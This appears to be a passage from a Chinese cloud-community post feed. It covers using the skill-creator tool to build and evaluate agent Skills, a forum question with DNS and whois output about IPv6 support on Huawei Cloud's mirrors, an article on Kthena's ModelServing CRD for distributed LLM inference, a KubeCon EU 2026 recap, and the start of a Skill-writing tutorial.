写成触发条件,而且覆盖面写得比较宽。比如不只写"当用户要求创建仪表盘时触发",还会加上"即使用户没有明确说'仪表盘',只要提到了数据可视化、内部指标,都应该触发"。这和第二篇讲的"覆盖用户多种说法"一脉相承,宁可多触发也不要漏触发。内容区分"参考知识"和"任务流程"——该放进 references/ 的不会塞在 SKILL.md 里。可复用的脚本放进 scripts/——确定性的工作交给代码,不靠 AI 每次重写。它还会特别提醒你:写 Skill 是给另一个 Agent 实例看的,重点放在对 Agent 有用但不是显而易见的信息上。 不需要教 Agent "什么是 API",但需要告诉它"调用这个 API 时必须传 X-Auth-Token 头,否则返回 403"。阶段三:测试这是 skill-creator 最有价值的部分。它会为你的 Skill 生成一组测试用例,然后对每个用例同时启动两个子代理:一个带着你的 Skill 执行任务一个不带任何 Skill 执行同样的任务两个子代理并行跑(不是先跑完一个再跑另一个),输出放在一起对比。这直接回答了一个关键问题:你的 Skill 到底有没有用? 不是你主观感觉"好像好了一点",而是有/无 Skill 的输出并排放在面前,差距一目了然。还记得第一篇那个公众号文章的对比吗?没有 Skill 的 Agent 说"我做不到",有 Skill 的 Agent 说"做好了"。skill-creator 把这种对比变成了一个可重复执行的自动化流程——每次修改 Skill 之后都能重新跑一遍,量化改进效果。阶段四:评分和分析测试跑完后,skill-creator 启动两个专门的子代理来处理结果:评分员(grader):对每个测试用例的输出打分。能用脚本程序化验证的断言(比如"输出文件是否存在""格式是否符合 JSON schema"),就写脚本去检查,不靠 AI 的主观判断。只有需要定性评估的部分(比如"总结质量如何")才用 AI 打分。这个设计原则值得记住:确定性的事交给脚本,判断性的事交给 AI。 脚本更快、更稳定、可复用;AI 擅长做需要理解和判断的事,但不该浪费在"检查文件是否存在"这种事情上。分析员(analyzer):在评分数据的基础上找模式。比如:某些断言不管有没有 Skill 都通过——说明这个断言没有区分度,需要改某些测试方差很大——可能是断言本身不稳定时间和 Token 的消耗变化——Skill 是否让 Agent 更高效了最后生成一个交互式的浏览器页面(通过 eval-viewer/generate_review.py),你可以在页面上直观地看到每轮迭代的效果变化、定性输出和定量指标。# skill-creator 自动执行,你也可以手动运行python eval-viewer/generate_review.py \  my-skill-workspace/iteration-1 \  --skill-name "my-skill" \  --benchmark my-skill-workspace/iteration-1/benchmark.json阶段五:迭代看完评估结果,你告诉 skill-creator 哪里不满意、需要怎么改。它会修改 SKILL.md,然后重新跑一轮测试,对比新旧版本的 benchmark 数据。从第二轮迭代开始,评估报告会自动和上一轮对比,你能清楚地看到每次修改带来的变化——通过率是上升还是下降、Token 消耗是增加还是减少、哪些原来失败的测试现在通过了。这就是第三篇里我们手工做的事情——但 skill-creator 把它从"靠感觉"变成了"靠数据"。阶段六(可选):description 优化skill-creator 还有一个专门优化 description 触发精准度的功能。它会生成 20 个测试查询:10 个应该触发这个 Skill 的,10 个不应该触发的。然后检查你的 description 在这 20 个查询上的匹配准确率,最多迭代 5 轮,每轮都调整 description 的措辞,直到准确率满意为止。这个功能直接对应第二篇的关键点——"description 是触发器,不是摘要"。手工优化 description 很靠直觉,而 skill-creator 用 20 个测试查询把它变成了一个可量化的优化过程。▍四、安装和上手一条命令安装:npx skills add https://github.com/anthropics/skills --skill skill-creator安装完成后,在 Agent(如 Claude Code)里就可以直接使用了。如果你想从零创建一个新 Skill,直接告诉它你的需求:"帮我创建一个 Skill,用来在每次提交代码前自动检查是否有遗留的 TODO 注释。"它会引导你走完意图捕获 → 起草 → 测试 → 迭代的完整流程。如果你已经有一个写好的 Skill 想优化,把路径告诉它:"帮我优化 article-summarizer 这个 Skill,我觉得它的总结质量不太稳定。"它会对现有 Skill 做评估,找出问题,给出改进建议。建议的上手路径:先用它优化你已有的 Skill,再用它从零创建新的。 优化一个已有的 Skill 能让你快速熟悉 skill-creator 的评估流程,理解"测试用例""断言""benchmark"这些概念在实际中怎么运作。有了这个基础,再从零创建就顺畅多了。▍五、skill-creator 教给我们的三条设计理念抛开工具本身不谈,skill-creator 的设计里藏着几条值得所有 Skill 作者学习的理念。理念一:description 宁可写宽,不要写窄大多数人写 description 倾向于保守——只在用户明确说出关键词时才触发。skill-creator 的建议是反过来:主动覆盖用户可能的各种说法,甚至用户没有明确提到关键词时也该触发。它给的例子很直观:不要只写"当用户要求创建内部数据仪表盘时使用",而是写"当用户提到仪表盘、数据可视化、内部指标,或者想展示任何类型的公司数据时使用,即使他们没有明确说'仪表盘'这个词"。道理很简单:Skill 多触发一次,Agent 发现不需要,顶多忽略掉,没有损失。但 description 写得太窄导致该触发的时候没触发,用户就得不到帮助。漏触发的代价远大于多触发。理念二:确定性的事交给脚本skill-creator 的测试流程里,能用脚本验证的断言绝不用 AI 打分。"文件是否生成了","JSON 格式是否正确","行数是否在范围内"——这些有明确对错的事情,写一段脚本检查比让 AI 每次"看一眼"更快、更准、更稳定。这个原则适用于所有 Skill 的设计:把确定性的操作封装成脚本放在 scripts/ 目录里,让 AI 专注于需要理解和判断的部分。 AI 的精力应该花在"这段代码的设计是否合理"这种问题上,而不是"这个文件是不是存在"。理念三:Skill 是写给另一个 AI 的skill-creator 在创建 Skill 时有一条很关键的提醒:你写的 Skill 是给另一个 Agent 实例使用的。重点应该放在"对 Agent 有用但不是显而易见的信息"上。什么是"显而易见的"?Agent 已经知道怎么写 Python、怎么调用 REST API、怎么格式化 Markdown——这些不需要你在 Skill 里重复。什么是"不显而易见的"?你们团队的内部 API 要传一个特殊的认证头、某个库的 2.x 版本有一个文档没提到的 bug、部署到生产环境前必须先跑冒烟测试——这些才是 Skill 应该写的内容。Skill 的价值在于填补 AI 的知识盲区,而不是重复 AI 已经知道的东西。▍六、工具和手艺skill-creator 是一个好工具。但工具不能替代理解。如果你跳过前四篇,直接用 skill-creator 来生成 Skill,你会遇到几个问题:它生成的 SKILL.md 你看不懂为什么这样写;评估结果出来了你不知道哪些指标重要;测试失败了你不知道是 Skill 的问题还是测试用例的问题。反过来,如果你理解了 Skill 的本质(第一篇)、知道每个部分怎么写才有效(第二篇)、经历过手工迭代的过程(第三篇),再来用 skill-creator,你会发现——它加速的是你本来就知道该怎么做的事情。意图捕获阶段,你知道该提供什么样的使用场景。起草阶段,你能判断它生成的 description 覆盖面够不够宽。测试阶段,你能设计出有区分度的断言。迭代阶段,你能从 benchmark 数据里读出真正的问题。先学会手艺,再用工具放大效率。这个顺序不能反。下一篇预告到这里,你已经掌握了从理解 Skill、拆解 Skill、手写 Skill 到用工具加速的完整链路。但我们一直在聊"一个 Skill"。真实的工作场景,往往需要多个 Skill 组合——先抓取再总结、先审查再修复、先收集需求再生成方案。下一篇,我们聊怎么拆开写、串起用,以及什么时候该拆、什么时候不该拆。「从零开始写好 Skill」系列是「从零开始理解 Agent」系列的姊妹篇。如果你还没有读过 Agent 系列,建议先从 第一篇:Agent 的底层原理 开始。
  • [问题求助] 华为镜像站的IPv6支持问题
    如下所示,华为云的基础设施(ELB+ECS)已经支持IPv6,华为云Mirrors什么时候增加IPv6解析访问支持?dingtalkmemz_@Debian:~$ dnsrecon --tcp -d mirrors.cernet.edu.cn2026-04-04T22:01:24.332774+0800 INFO Starting enumeration for domain: mirrors.cernet.edu.cn2026-04-04T22:01:24.333060+0800 INFO std: Performing General Enumeration against: mirrors.cernet.edu.cn...2026-04-04T22:01:24.467911+0800 ERROR No answer for DNSSEC query for mirrors.cernet.edu.cn2026-04-04T22:01:24.531959+0800 INFO     A mirrors.cernet.edu.cn 1.51.3.1342026-04-04T22:01:24.532154+0800 INFO     AAAA mirrors.cernet.edu.cn 2001:250:4:100::22026-04-04T22:01:24.537596+0800 INFO Enumerating SRV Records2026-04-04T22:01:24.649229+0800 ERROR No SRV Records Found for mirrors.cernet.edu.cn2026-04-04T22:01:24.649541+0800 INFO Completed enumeration for domain: mirrors.cernet.edu.cndingtalkmemz_@Debian:~$ dnsrecon --tcp -d t0.tianditu.gov.cn2026-04-04T22:01:27.784035+0800 INFO Starting enumeration for domain: t0.tianditu.gov.cn2026-04-04T22:01:27.784517+0800 INFO std: Performing General Enumeration against: t0.tianditu.gov.cn...2026-04-04T22:01:27.852586+0800 ERROR No answer for DNSSEC query for t0.tianditu.gov.cn2026-04-04T22:01:27.918755+0800 INFO     SOA ns1.hwclouds-dns.com 122.112.208.2532026-04-04T22:01:27.918898+0800 INFO     SOA ns1.hwclouds-dns.com 116.205.5.332026-04-04T22:01:27.918963+0800 INFO     SOA ns1.hwclouds-dns.com 139.9.224.172026-04-04T22:01:27.919018+0800 INFO     SOA ns1.hwclouds-dns.com 116.205.223.1302026-04-04T22:01:27.919068+0800 INFO     SOA ns1.hwclouds-dns.com 2407:c080:20:ffff:ffff:fffe:0:12026-04-04T22:01:28.045800+0800 INFO     CNAME t0.tianditu.gov.cn de1d4307586b46539211cef7469770d2.vip1.huaweicloudwaf.com2026-04-04T22:01:28.046009+0800 INFO     A de1d4307586b46539211cef7469770d2.vip1.huaweicloudwaf.com 116.205.70.1072026-04-04T22:01:28.046105+0800 INFO     A de1d4307586b46539211cef7469770d2.vip1.huaweicloudwaf.com 116.205.64.92026-04-04T22:01:28.046184+0800 INFO     A de1d4307586b46539211cef7469770d2.vip1.huaweicloudwaf.com 116.205.64.32026-04-04T22:01:28.046255+0800 INFO     A de1d4307586b46539211cef7469770d2.vip1.huaweicloudwaf.com 116.205.70.1222026-04-04T22:01:28.046323+0800 INFO     CNAME t0.tianditu.gov.cn de1d4307586b46539211cef7469770d2.vip1.huaweicloudwaf.com2026-04-04T22:01:28.046409+0800 INFO     AAAA de1d4307586b46539211cef7469770d2.vip1.huaweicloudwaf.com 2407:c080:170f:fff8::1982026-04-04T22:01:28.046487+0800 INFO     AAAA de1d4307586b46539211cef7469770d2.vip1.huaweicloudwaf.com 2407:c080:170f:fff9::13e2026-04-04T22:01:28.046576+0800 INFO     AAAA de1d4307586b46539211cef7469770d2.vip1.huaweicloudwaf.com 2407:c080:170f:fff9::11d2026-04-04T22:01:28.046665+0800 INFO     AAAA de1d4307586b46539211cef7469770d2.vip1.huaweicloudwaf.com 2407:c080:170f:fff8::24b2026-04-04T22:01:28.051442+0800 INFO Enumerating SRV Records2026-04-04T22:01:28.093197+0800 ERROR No SRV Records Found for t0.tianditu.gov.cn2026-04-04T22:01:28.093565+0800 INFO Completed enumeration for domain: t0.tianditu.gov.cndingtalkmemz_@Debian:~$ whois 2407:c080::1 |grep :% Whois data copyright terms    http://www.apnic.net/db/dbcopyright.html% Information related to '2407:c080::/32'% Abuse contact for '2407:c080::/32' is 'ipas@cnnic.cn'inet6num:       2407:c080::/32netname:        HWCSNETdescr:          Huawei Software Technologies Ltd.Codescr:          Shenzhen, P.R.Chinacountry:        CNadmin-c:        NZ158-APtech-c:         MH1129-APabuse-c:        AC1601-APstatus:         ALLOCATED PORTABLEmnt-by:         MAINT-CNNIC-APmnt-routes:     MAINT-CNNIC-APmnt-irt:        IRT-CNNIC-CNlast-modified:  2021-06-16T01:31:27Zsource:         APNICirt:            IRT-CNNIC-CNaddress:        Beijing, Chinae-mail:         ipas@cnnic.cnabuse-mailbox:  ipas@cnnic.cnadmin-c:        IP50-APtech-c:         IP50-APauth:           # Filteredremarks:        Please note that CNNIC is not an ISP and is notremarks:        empowered to investigate complaints of network abuse.remarks:        Please contact the tech-c or admin-c of the network.remarks:        ipas@cnnic.cn is invalidmnt-by:         MAINT-CNNIC-APlast-modified:  2025-11-17T23:08:37Zsource:         APNICrole:           ABUSE CNNICCNcountry:        ZZaddress:        Beijing, Chinaphone:          +000000000e-mail:         ipas@cnnic.cnadmin-c:        IP50-APtech-c:         IP50-APnic-hdl:        AC1601-APremarks:        Generated from irt object IRT-CNNIC-CNremarks:        ipas@cnnic.cn is invalidabuse-mailbox:  ipas@cnnic.cnmnt-by:         APNIC-ABUSElast-modified:  2025-09-19T17:20:32Zsource:         APNICperson:         Mingliang Haonic-hdl:        MH1129-APe-mail:         mingliang.hao@huawei.comaddress:        10/F, Xinsheng Tower, 5 Financial Street,address:        Xincheng District,Beijing,100140 P.R.Chinaphone:          +86-18618305900fax-no:         +86-10-63762415country:        CNmnt-by:         MAINT-CNNIC-APlast-modified:  2012-10-09T05:34:02Zsource:         APNICperson:         Nina Zhaonic-hdl:        NZ158-APe-mail:         zhaocaina@huawei.comaddress:        10/F, Xinsheng Tower, 5 Financial Street,address:        Xincheng District,Beijing,100140 P.R.Chinaphone:          +86-18601351719fax-no:         +86-10-63762415country:        CNmnt-by:         MAINT-CNNIC-APlast-modified:  2012-10-09T05:34:02Zsource:         APNIC% Information related to '2407:c080::/32AS55990'route6:         2407:c080::/32origin:         AS55990descr:          Huawei Cloud Service data centermnt-by:         MAINT-CNNIC-APlast-modified:  2019-02-03T02:16:01Zsource:         APNICdingtalkmemz_@Debian:~$ 
  • [技术干货] Kthena 核心原语:ModelServing CRD 如何定义分布式推理“新标准”?
    欢迎阅读【LLM推理】专栏系列文章,在首个系列,我们将带来大模型智能推理方向开源项目Kthena技术解析:★【第一期】《Kthena 核心原语:ModelServing CRD 如何定义分布式推理的“新标准”?》(本文)★【第二期】《Kthena Router:插件架构解析及Benchmark测试》★【第三期】《Kthena AutoScaling:深度解析 Kthena 如何通过“语义感知弹性”重塑 AI 推理成本》★ 项目地址:cid:link_0 随着大模型参数规模呈指数级增长,单一虚拟机或物理机的资源限制已无法满足其需求。为了应对这一挑战,业界引入了许多创新性的部署框架,例如 PD (Prefill-Decode) 分离部署以及大小模型混合部署框架。这些方法彻底改变了推理部署的方式:不再是一个 Pod 处理整个推理任务,现在往往由多个 Pod 协同完成单次推理任务。这种多 Pod 协同已经成为大模型推理部署的关键趋势。在实践中,推理模型可能仍然运行在单个 Pod 内(如传统的单节点场景)、一组相同的 Pod 中(针对更大的模型),或者跨越具有专门角色的多个 Pod(如 PD 分离部署)。这种灵活的部署方式不仅提高了资源利用率,也实现了更高效的大模型推理。ModelServing 是 Kthena[1] 定义的一个API,旨在管理和编排推理模型工作负载的生命周期。得益于其三层架构,它可以非常方便地表示和管理多种部署模式。▍三层架构为了解决 Kubernetes 传统的两层架构(例如 Deployment 和 StatefulSet)在管理多样化推理工作负载部署场景时的局限性,ModelServing 采用了 ModelServing → ServingGroup → Role 的三层架构。架构图如下所示:ModelServing: 核心组件,负责管理推理模型工作负载的生命周期。它提供了一个统一的接口,用于部署和管理推理模型以及查询它们的状态。ServingGroups: ServingGroup 是一个 Role(角色)的集合。每个 Group 都可以完成完整的推理任务,对于 PD 分离部署来说,它同时包含 Prefill 和 Decode 角色。Roles: 一个 ServingGroup 内的每个 Role 由一组 Pod 组成,这些 Pod 是负责执行推理任务的实际工作负载。可以为每个角色分配不同的任务。例如,在 PD 分离场景中,您可以配置一个 prefill role(预填充角色)和一个 decode role(解码角色)。关于 ModelServing 的定义,请参考 modelServing CRD 参考文档[2]。通过将推理工作负载整合为 Group 形式,该架构实现了与 Volcano 的 Gang 调度及网络拓扑感知调度的无缝对接。与此同时,针对滚动更新和弹性扩缩容等核心的云原生工作负载管理需求,我们也进行了专门的扩展处理。▍Gang 调度Gang 调度策略是 Volcano-Scheduler 的核心调度算法之一。它满足了调度过程中“同生共死 (All or nothing)”的调度需求,避免了由于为满足任务需求的部分 Pod 部署而导致的资源浪费。Gang 调度算法会观察已调度的 Pod 数量是否满足最小运行数量。当满足 Job 的最小运行数量时,将对 Job 下的所有 Pod 执行调度动作;否则,所有的Pod都不会执行调度。在 Kthena 中,基于 ModelServing 创建 PodGroups,通过 PodGroups 利用 Volcano 的 Gang 调度能力。subGroupSize 字段指定了每个 Role 中需要进行 Gang 调度的 Pod 数量。实例级 Gang 调度创建过程Kthena将为整个 ServingGroup 实例创建一个单一的 PodGroup。该配置为自动生成,无需手动创建。PodGroup 配置:以下为 modelServing 示例:apiVersion:workload.serving.volcano.sh/v1alpha1kind:ModelServingmetadata:name:samplenamespace:defaultspec:schedulerName:volcanoreplicas:1# servingGroup replicastemplate: restartGracePeriodSeconds:60 gangPolicy: minRoleReplicas: prefill:2 decode:2 roles: -name:prefill replicas:4 # ... additional role configuration -name:decode replicas:4 # ... additional role configurationapiVersion:scheduling.volcano.sh/v1beta1kind:PodGroupmetadata:name:{modelserving-name}-{servinggroup-index}namespace:{modelserving-namespace}labels: modelinfer.volcano.sh/name:{modelserving-name}-{servinggroup-index}annotations: scheduling.k8s.io/group-name:{modelserving-name}spec:minMember:8subGroupPolicy:-labelSelector: matchLabels:`` modelserving.volcano.sh/name:sample modelserving.volcano.sh/role:prefill matchLabelKeys: -modelserving.volcano.sh/role-id minSubGroups:2 name:prefill subGroupSize:2 -labelSelector: matchLabels: modelserving.volcano.sh/name:sample modelserving.volcano.sh/role:decode matchLabelKeys: -modelserving.volcano.sh/role-id minSubGroups:2 name:decode subGroupSize:2## ... another configuration ...pod数量计算:如果未配置 MinRoleReplicas,minMember的值计算如下:minMember = replicas × Σ(role.replicas × (1 + role.workerReplicas))如果配置了 MinRoleReplicas, minMember的值计算变为:minMember = replicas × Σ(minRoleReplicas[roleName] × (1 + role.workerReplicas))其中:  replicas: ServingGroup 实例的数量  role.replicas: 每个 ServingGroup 内角色实例的数量  minRoleReplicas[roleName]: 配置的Role需要的最少Replicas  1 + role.workerReplicas: 每个角色实例的 EntryPod + WorkerPods 数量SubGroupSize计算:如果未配置 MinRoleReplicas,subGroupSize 的值生成逻辑如下:针对 Spec.Template.Roles 中指定的每个 role在podGroup中创建对应的subGroupPolicy每个Role对应的SubGroupSize为 (1 + role.workerReplicas)如果配置了 MinRoleReplicas,subGroupSize 的值生成逻辑变为:针对 MinRoleReplicas map中指定的每个 role在Spec.Template.Roles当中找到对应的role在PodGroup中创建对应的subGroupPolicy每个minRoleReplicas中的role对应的SubGroupSize为 (1 + role.workerReplicas)▍滚动更新滚动更新是云服务实现零停机的一项关键运维策略。在 LLM 推理服务场景中,支持滚动更新对于降低服务不可用风险、保障业务连续性至关重要。 目前,ModelServing 支持在 ServingGroup 级别进行滚动升级,允许用户配置 Partitions 控制滚动过程。Partition:表示 ModelServing 更新时划分的分界序号。在滚动更新期间,序号大于或等于 Partition 的副本将被更新。序号小于 Partition 的副本将不会被更新。以下为一个配置了 rollout 策略的 ModelServing示例:spec: rolloutStrategy: type:ServingGroupRollingUpdate rollingUpdateConfiguration: partition:0接下来,我们将展示具有四个副本的 ModelServing 的滚动更新过程。这里模拟了三种副本状态:✅ 副本已更新❎ 副本未更新⏳ 副本正在进行滚动更新在滚动升级期间,控制器会删除并重建需要更新的副本中序列号最大的副本。直到新副本正常运行后,下一副本才会被更新。现阶段ModelServing已经支持设置maxUnavailable,能够设置在滚动更新的时候有多少新版本的servingGroup可以为不可用状态,控制滚动升级的速度。▍扩缩容在云原生基础设施项目中,弹性扩缩容在优化资源成本、提升系统可用性、增强响应能力以及简化运维管理等方面,发挥着至关重要的作用。 在 ModelServing 中,我们支持 ServingGroup 和 Role 的两级扩缩容。 ServingGroup 级别的扩缩容与滚动更新的处理过程类似,更新均在副本集中以逆序进行。 Role 级别的扩缩容可以直接对每个角色的进行副本数细粒度的调整。在 PD 分离部署场景中,可以弹性调整 prefill 或 decode 副本,根据它们各自的工作负载优化 P/D 比例。例如:长提示词,短输出场景:弹性增加 prefill 副本,以处理计算密集的提示词处理,同时保持较少的 decode 副本。短提示词,长输出场景:弹性增加 decode 副本,以处理序列 token 的生成,同时保持较少的 prefill 副本。这种灵活的扩缩容能力确保了能够基于实际工作负载模式进行最佳的资源分配。 通过修改 role.Replicas 触发角色粒度的弹性扩缩容,整个 ServingGroup 的状态将变为 scaling,随后执行 Pod 的创建或删除流程。 当 Pod 副本数满足预期后,ServingGroup 的状态将基于所有 Pod 的状态更新。并且由于 Role 中的 Pod 带有顺序和标签,所有扩缩容操作都是从最后一个 Pod 开始处理的。Role 扩缩容流程▍重启策略在 ModelServing 中,强调了将 Pod 分组的概念。因此,当组内的一个 Pod 发生错误时,通常会一起重启整个组。然而,在生产环境中,重启一整组 Pod 可能会消耗大量的资源和时间。为解决这个问题,ModelServing 也提供了支持单个 Role 重启的策略。ServingGroupRecreate: 当组内 Pod 发生错误时,将重启整个servingGroup。 RoleRecreate: 当组内 Pod 发生错误时,servingGroup的状态将更新为 progressing 并且仅重启受影响的 Role。如果 serviceGroup 停留在 progressing 状态超过一定时间,则将删除并重新创建整个 ServingGroup。▍展 望作为 Kthena 的核心组件,ModelServing 如今已能游刃有余地应对大模型工作负载的管理与调度,彰显了 Kthena 架构的优越性与前瞻性。尽管目前在 PD 分离场景的精细化操作(如实例平滑升级)上尚处于完善阶段,但在未来的发展蓝图中,我们势必会为 PD 分离等复杂部署模式注入更多专属的强大能力。如果您对此感兴趣,我们欢迎您加入 Kthena 社区,共同建设我们的开源生态系统。相关链接:[1] 加入 Kthena 社区: cid:link_1[2] modelServing CRD 参考文档: https://kthena.volcano.sh/docs/next/reference/crd/workload.serving.volcano.sh#modelserving欢迎Star★,Fork,来 Kthena 社区一起玩转LLM推理! 扫码进入Kthena技术交流群社区小助手k8s2222
  • [热门活动] 华为云亮相 KubeCon EU 2026,共建“智能原生”基础设施,加速 Agentic AI 未来
    在刚刚闭幕的 KubeCon + CloudNativeCon Europe 2026 上,全球开源精英与产业力量齐聚阿姆斯特丹,共同见证了云原生领域的又一次浪潮。本届大会以“Keep Cloud Native Moving”为主题,传递出一个清晰的信号:云原生已远超资源编排的范畴,正加速进化为AI——尤其是LLM与Agentic AI——的核心运行底座。  开放创新,共建面向 Agentic AI 的智能原生基础设施  作为 CNCF 的持续贡献者与全球云原生产业的引领者,华为云本次参会以 “Powering the Agentic Future” 为核心主旨,全方位展示了面向 Agentic AI 的“智能原生”基础设施开源创新与产品方案。通过多场深度技术演讲、沉浸式展区互动以及前沿技术研讨,华为云向全球开发者系统分享了在 AI 全生命周期管理、大规模异构算力调度、分布式推理流量治理、高性能服务网格等关键方向上的技术突破与实践经验,共同码写云原生在智能时代的新篇章。▍Volcano:从 AI 全生命周期调度到 Agent 韧性底座随着 Agentic AI 的兴起,基础设施面临着从“作业调度”向“复杂智能体编排”的转变。作为业界顶尖的云原生AI调度引擎,Volcano 构建从大规模训练到 Agent 编排的 AI 全生命周期调度底座,并于 2025 年重点推出了 面向 LLM 推理的 Kthena 与 面向 AI Agent 工作负载的高性能编排层 AgentCube 两个备受瞩目的子项目,在技术层面高性能适配 Agentic AI 应用要求。在工作负载层:Volcano-Global 将海量训练作业拆分到多个集群,突破了单集群的限制;Kthena 提供企业级 LLM 服务,并支持 vLLM 等框架;AgentCube 快速实现Agent工作负载调度。在基础设施层,Volcano 通过 DRA 集成、HyperNode 发现、GPU 共享和异构池化,提供现代化的资源抽象,实现高效的任务到加速器映射。▲ Breaking the Monolith: Decomposing and Governing Giant LLM Jobs Across Clusters - Kevin Wang, Huawei通过打通完整 AI 生命周期的统一调度能力,Volcano 提供强大的调度能力和高吞吐量,能够协调各种工作负载,超越批处理作业的限制,实现多调度器协同,高效应对人工智能快速发展过程中的训练、推理和 Agent 工作负载运行在孤立的系统中造成的资源效率低等难题。这不仅是调度算法的优化,更是云原生 AI 基础设施的一次范式重构,为 Agentic Future 提供了稳健、高效的运行动力。▲ 华为云开源技术专家 Zhonghu Xu(上)、Zicong Chen(左)、ZengZeng Yao(右)发表Volcano及Kthena、AgentCube 议题更多Volcano议题演讲精彩内容,欢迎关注后续技术解析。▍Karmada:跨越云端边界,构建面向 AI 的多集群管理架构本届大会,来自华为云的 Karmada 维护者 Hongcai Ren 等组织了专场 Project Meeting ,与开发者与用户深度探讨了多集群扩展性、工作负载分发及社区发展路标,强化了分布式云原生的协作生态。携手Bloomberg、携程等生产用户,Karmada 社区也在分论坛上分享了社区过去一年的关键演进。Karmada 正在从“多集群管理工具”进化为“多集群AI编排底座”:应用优先级调度、联邦资源配额、有状态应用故障迁移等能力持续增强生产级稳定性;AI 作业调度增强与 Volcano Global 的协同,则为超大规模 LLM 任务的跨集群拆分与统一调度提供了坚实基础。同时,Karmada Dashboard 正式发布、Operator 能力持续增强,显著提升了多集群场景的可观测性与运维体验。▲ Karmada 社区专场会议与议题演讲在 ArgoCon 论坛上,华为云开源技术专家联合用户伙伴分享了 Karmada 与 Argo 生态整合的最佳实践。针对混合云多集群场景下渐进式交付缺乏全局协调能力的痛点,他们展示了如何通过 Karmada 与 Argo CD、Argo Rollouts 的整合,构建“定义一次,安全交付到任意集群”的统一平台。通过金丝雀发布示例,现场演示了集成架构与完整工作流,既保留了 Argo 在单集群渐进式交付的成熟能力,又借助 Karmada 的跨集群编排能力,将渐进式交付扩展至全局多集群。该方案已在生产环境中验证,为企业多云应用交付提供了可复用的实践范本。▲ From Canary To Global: Unified Progressive Delivery for Hybrid Cloud With Karmada & Argo - Zhuang Zhang, Huawei & Karmada PartnerKarmada 的成熟度与可靠性已在 Bloomberg、携程等复杂生产环境中得到充分验证,社区用户组成员突破40+。未来,Karmada 社区将持续聚焦 AI 工作负载的跨集群编排能力,与 Volcano、Kueue 等项目深度协同,共同构建面向AI多集群场景的统一管理与控制面▍Kmesh:基于 Rust 的数据面创新,引领Sidecarless服务网格服务网格的性能开销一直是大规模分布式系统痛点,尤其是在对时延极其敏感的 AI 推理场景中。Kmesh 独辟蹊径地采用了内核级、Sidecarless 的架构。通过将服务治理逻辑下沉至 OS 内核(基于 eBPF 技术),Kmesh 实现了近乎零开销的网络转发,极大地降低了服务间通信的时延。▲ Optimize Sidecarless Service Mesh With A Brand-New Rust-Based Proxy - Zengzeng Yao, Huawei Cloud;Kmesh Maintainer华为云开源技术专家分享了在 Kmesh 社区的技术创新成果。针对现有 Sidecarless 服务网格方案中 L7 流量处理依赖 Envoy waypoint 所带来的性能瓶颈与内存管理难题,包括不可预测的内存泄漏和生产环境调试复杂性。Kmesh 引入基于 Rust 重构的 Orion,作为 waypoint 与 Kmesh 深度集成后,Orion 与 Kmesh 的 eBPF L4 处理能力形成合力,构建了覆盖 L4 与 L7 的统一高性能 Sidecarless 服务网格。这一方案既延续了 Kmesh 在 L4 层的极致性能优势,又通过 Rust 的安全内存模型解决了 L7 代理在长期运行中的稳定性隐患,为服务网格在AI时代高吞吐、低延迟场景下的规模化落地提供了全新路径。▍边缘智算引擎,KubeEdge 赋能万物智能正如会上的演讲议题“KubeEdge Everywhere: From Graduation to Global Adoption”,KubeEdge 的行业应用近年来呈爆炸式增长。作为首个从 CNCF 毕业的云原生边缘项目,KubeEdge 自 2024 年晋级后,社区的功能更新、治理更新以及实践案例,充分验证了在边缘 AI 和行业工作负载管理方面的强大性能,其强大的边云协同能力,为千行百业的智慧场景提供了可落地的云原生边缘基础设施技术方案。来自DaoCloud、谐云、Google、华为云的技术专家共建了 KubeEdge 系列议题,与此同时,KubeEdge  Project Pavilion 吸引了大量关于边缘 AI 落地场景的讨论。▲ KubeEdge 应用于大会 Keynote 议题演讲中的滑翔机  展区零距离——智算引擎全栈体验  在华为展台,华为云向与会者展示了面向 Agentic AI 时代的智能原生基础设施解决方案。展区围绕 Agentic AI 基础设施与开发者展开深度互动,通过全新一代 CCE 智算集群、华为云 Agent 全栈平台、华为云容器领导力等产品与内容展示,呈现了从云原生基础设施到 AI 时代工作负载最佳运行底座的全栈能力,共同探讨智能原生未来图景。同时,华为云技术团队也分别在 Volcano、Karmada、Kmesh 等多个项目展台驻场,从多集群编排到AI调度,从服务网格到K8s生态,通过现场答疑、案例讲解与代码演示,与开发者进行开源技术创新与应用的面对面深度技术交流。作为云原生与 AI 领域的先驱者,华为云深耕 Kubernetes 等核心技术十余年,在 AI 浪潮中打造面向未来的AI原生基础设施,构建 AI Infra、Agent Infra 等算力底座,支撑 AI 大模型与 Agent 智能体应用需求。凭借多年来的产业实践和技术创新,华为云连续5年蝉联国内容器软件市场份额 TOP1,获选 Gartner 容器管理魔力象限领导者,Omdia 产品战略与执行全球第一,技术实力获全球权威认可。  Powering the Agentic Future  这场阿姆斯特丹的思想碰撞,是云原生基础设施与 Agentic AI 的一场“双向奔赴”;云原生底层逻辑正在升级重塑,成为支撑智能时代运行的“数字神经系统”。在迈向 Agentic Future 的征途中,我们将持续开放创新,让算力更高效、让治理更简洁、让智能更无处不在。期待与全球开源力量并肩,在智能原生的时代浪潮中,跑出加速创新的时代脚步。 更多云原生技术动向关注容器魔方
  • [技术干货] 从零开始写好 Skill(三):手把手写你的第一个 Skill
    欢迎阅读「从零开始写好 Skill」系列文章 —— 上一个系列我们用 7 篇文章拆解了 Agent 的骨架,这个系列教你给 Agent 写"工作手册"。第一篇:Skill 是什么?为什么你应该关心它第二篇:一个好 Skill 长什么样——SKILL.md 的解剖第三篇:手把手写你的第一个 Skill(本文)第四篇:写 Skill 太费劲?让 skill-creator 来帮你(即将更新)第五篇:拆开写,串起用——Skill 的组合之道(即将更新)作者:十一开场:从"用别人的"到"自己写"前两篇你一直在看别人的 Skill——第一篇看 wespy-fetcher 的效果,第二篇拆 wespy-fetcher 的结构。这篇我们换个角色:自己从零写一个。场景承接第一篇。还记得吗?wespy-fetcher 帮你把公众号文章抓下来了,存成了 Markdown 文件。然后呢?你打开 Agent,对它说:"帮我总结一下这篇文章,要列出核心观点、关键论据、值得深思的点。"Agent 给了你一份还不错的总结。第二天,又抓了一篇文章,你又得说一遍:"帮我总结一下,要核心观点、关键论据、值得深思的点……"第三天,同样的话再说一遍。到了第四天你开始烦了:每次都要把同样的要求重复一遍,这不就是 Skill 要解决的问题吗?没错。我们要写的 Skill 叫 article-summarizer:输入一篇 Markdown 文章,输出一份结构化的要点总结。wespy-fetcher 管抓取,article-summarizer 